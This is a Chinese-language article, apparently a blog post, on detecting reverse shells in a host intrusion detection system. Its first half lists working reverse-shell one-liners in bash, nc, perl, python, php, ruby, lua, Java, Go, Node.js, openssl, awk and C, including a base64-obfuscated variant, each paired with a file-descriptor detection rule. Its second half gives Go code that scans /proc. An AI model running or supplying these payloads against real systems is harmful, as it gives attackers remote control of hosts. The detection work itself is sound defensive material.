bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 #TCP Listener: nc -nvlp 1234
目标机执行后的结果如下:
创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
sh -i >& /dev/udp/127.0.0.1/1234 0>&1 #UDP Listener: nc -u -lvp 1234
目标机执行后的结果如下:
创建了一个常住进程“sh -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
exec 5<>/dev/tcp/127.0.0.1/1234; while read line 0<&5; do $line 2>&5 >&5; done
目标机执行后的结果如下:
匹配规则:某一个bash进程的0 文件描述符指向socket
nohup bash -c \'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1\' base64搞一下命令 echo "nohup bash -c \'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1\'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYxJwo= | base64 -d | bash 2>/dev/null
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了socket。
匹配规则:bash的0,和1文件描述符指向socket
telnet 127.0.0.1 1234 | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 127.0.0.1 1234 >/tmp/f rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet 127.0.0.1 1234 1>/tmp/bkpipe
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe。
匹配规则:sh进程的0,和1文件描述符指向pipe
telnet 127.0.0.1 1234 | /bin/bash | telnet 127.0.0.1 12345
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe。
匹配规则:bash进程的0,和1文件描述符指向pipe
perl -e \'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\' perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[127.0.0.1]:[1234]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\' export RHOST="127.0.0.1";export RPORT=1234;python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")\' python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\' php -r \'$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");\'
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
php -r \'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/1234")\'
目标机执行后的结果如下:
创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
ruby -rsocket -e\'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
nc -e /bin/sh 127.0.0.1 1234 如果nc 不支持 -e nc 127.0.0.1 1234 | /bin/sh #Blind nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2> rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc 127.0.0.1 1234 1>/tmp/bkpipe rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。
匹配规则:sh进程的0,和1文件描述符指向pipe
lua -e "require(\'socket\');require(\'os\');t=socket.tcp();t:connect(\'127.0.0.1\',\'1234\');os.execute(\'/bin/sh -i <&3 >&3 2>&3\');"
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[]) p.waitFor()
目标机执行后的结果如下:
匹配规则:某一个bash进程的0 文件描述符指向socket
Golang
echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1234");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe。
匹配规则:sh进程的0,和1文件描述符指向pipe
Nodejs
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "127.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
require(\'child_process\').exec(\'nc -e /bin/sh 127.0.0.1 1234\') or -var x = global.process.mainModule.require -x(\'child_process\').exec(\'nc 127.0.0.1 1234 -e /bin/bash\')
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到nc进程上。nc创建了socket外联。
匹配规则:sh进程的0,和1文件描述符指向pipe
用openssl 反弹shell
攻击者
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
靶机
openssl s_client -quiet -connect 127.0.0.1:1234|/bin/bash|openssl s_client -quiet -connect 127.0.0.1:12345
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe。
匹配规则:bash进程的0,和1文件描述符指向pipe
awk \'BEGIN {s = "/inet/tcp/0/127.0.0.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null
无明显文件句柄特征
#include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int port = 1234; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; }
目标机执行后的结果如下:
创建了一个常住进程“sh ”, 它的得0和1文件描述符都指向socket。
匹配规则:sh进程的0,和1文件描述符指向socket
归纳起来,shell环境的进程如果0和1(或某一个)文件描述符都关联到socket或者pipe,就认为它是反弹shell。
shell 环境包含: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
使用 cgroups + etcd + kafka 开发而成的hids的架构,agent 部分使用go 开发而成, 会把采集的数据写入到kafka里面,由后端的规则引擎(go开发而成)消费,配置部分以及agent存活使用etcd。关于agent 使用cgroups限制资源以及使用etcd做配置管理agent存活等已经在前文介绍了一下。下面介绍一下agent分析反弹shell的部分。
代码例子:
主要是分析 Linux /proc的内容
import ( "fmt" "io/ioutil" "os" "strconv" "strings" ) func GetProcessList() (resultData []map[string]string) { var dirs []string var err error dirs, err = dirsUnder("/proc") if err != nil || len(dirs) == 0 { return } for _, v := range dirs { pid, err := strconv.Atoi(v) if err != nil { continue } statusInfo := getStatus(pid) ppid,_ := strconv.Atoi(statusInfo["PPid"]) pstatusInfo := getStatus(ppid) command := getcmdline(pid) fd := getfd(pid) m := make(map[string]string) m["pid"] = v m["ppid"] = statusInfo["PPid"] m["name"] = statusInfo["Name"] if len(strings.Fields(statusInfo["Uid"])) == 4 { m["uid"] = strings.Fields(statusInfo["Uid"])[0] m["euid"] = strings.Fields(statusInfo["Uid"])[1] m["suid"] = strings.Fields(statusInfo["Uid"])[2] m["fsuid"] =strings.Fields(statusInfo["Uid"])[3] } if len(strings.Fields(statusInfo["Gid"])) ==4 { m["gid"] = strings.Fields(statusInfo["Gid"])[0] m["egid"] = strings.Fields(statusInfo["Gid"])[1] m["sgid"] = strings.Fields(statusInfo["Gid"])[2] m["fsgid"] =strings.Fields(statusInfo["Gid"])[3] } if len(strings.Fields(pstatusInfo["Uid"])) ==4 { m["puid"] = strings.Fields(pstatusInfo["Uid"])[0] m["peuid"] = strings.Fields(pstatusInfo["Uid"])[1] m["psuid"] = strings.Fields(pstatusInfo["Uid"])[2] m["pfsuid"] =strings.Fields(pstatusInfo["Uid"])[3] } if len(strings.Fields(pstatusInfo["Gid"])) ==4 { m["pgid"] = strings.Fields(pstatusInfo["Gid"])[0] m["pegid"] = strings.Fields(pstatusInfo["Gid"])[1] m["psgid"] = strings.Fields(pstatusInfo["Gid"])[2] m["pfsgid"] =strings.Fields(pstatusInfo["Gid"])[3] } m["fd"] = fd m["command"] = command resultData = append(resultData, m) } return } func getcmdline(pid int) string { cmdlineFile := fmt.Sprintf("/proc/%d/cmdline", pid) cmdlineBytes, e := ioutil.ReadFile(cmdlineFile) if e != nil { return "" } cmdlineBytesLen := len(cmdlineBytes) if cmdlineBytesLen == 0 { return "" } for i, v := range cmdlineBytes { if v == 0 { cmdlineBytes[i] = 0x20 } } return strings.TrimSpace(string(cmdlineBytes)) } func getStatus(pid int) (status map[string]string) { status = make(map[string]string) statusFile := fmt.Sprintf("/proc/%d/status", pid) var content []byte var err error content, err = ioutil.ReadFile(statusFile) if err != nil { return } for _, line := range strings.Split(string(content), "\\n") { if strings.Contains(line, ":") { kv := strings.SplitN(line, ":", 2) status[kv[0]] = strings.TrimSpace(kv[1]) } } //fmt.Println(status) return } func dirsUnder(dirPath string) ([]string, error) { fs, err := ioutil.ReadDir(dirPath) if err != nil { return []string{}, err } sz := len(fs) if sz == 0 { return []string{}, nil } ret := make([]string, 0, sz) for i := 0; i < sz; i++ { if fs[i].IsDir() { name := fs[i].Name() if name != "." && name != ".." { ret = append(ret, name) } } } return ret, nil } func getfd(pid int) string { fdDir := fmt.Sprintf("/proc/%d/fd", pid) dirs, err := dirsFile(fdDir) if err != nil || len(dirs) == 0 { return "" } m := []string{} for _, v := range dirs { fileInfo, err := os.Readlink(v) if err != nil { continue } countSplit := strings.Split(v, "/") m=append(m,strings.Join(countSplit[3:], "/")+"---"+fileInfo) } return strings.Join(m, " ") } func dirsFile(dirPath string) ([]string, error) { fs, err := ioutil.ReadDir(dirPath) if err != nil { return []string{}, err } sz := len(fs) if sz == 0 { return []string{}, nil } ret := make([]string, 0, sz) for i := 0; i < sz; i++ { if !fs[i].IsDir() { name := dirPath + "/" + fs[i].Name() ret = append(ret, name) } } return ret, nil }
抓取的数据如下
{ "command":"bash -i", "egid":"0", "euid":"0", "fd":"fd/0---socket:[27215273] fd/1---socket:[27215273] fd/2---socket:[27215273] fd/255---/dev/tty", "fsgid":"0", "fsuid":"0", "gid":"0", "name":"bash", "pegid":"0", "peuid":"0", "pfsgid":"0", "pfsuid":"0", "pgid":"0", "pid":"23923", "ppid":"23592", "psgid":"0", "psuid":"0", "puid":"0", "sgid":"0", "suid":"0", "uid":"0" }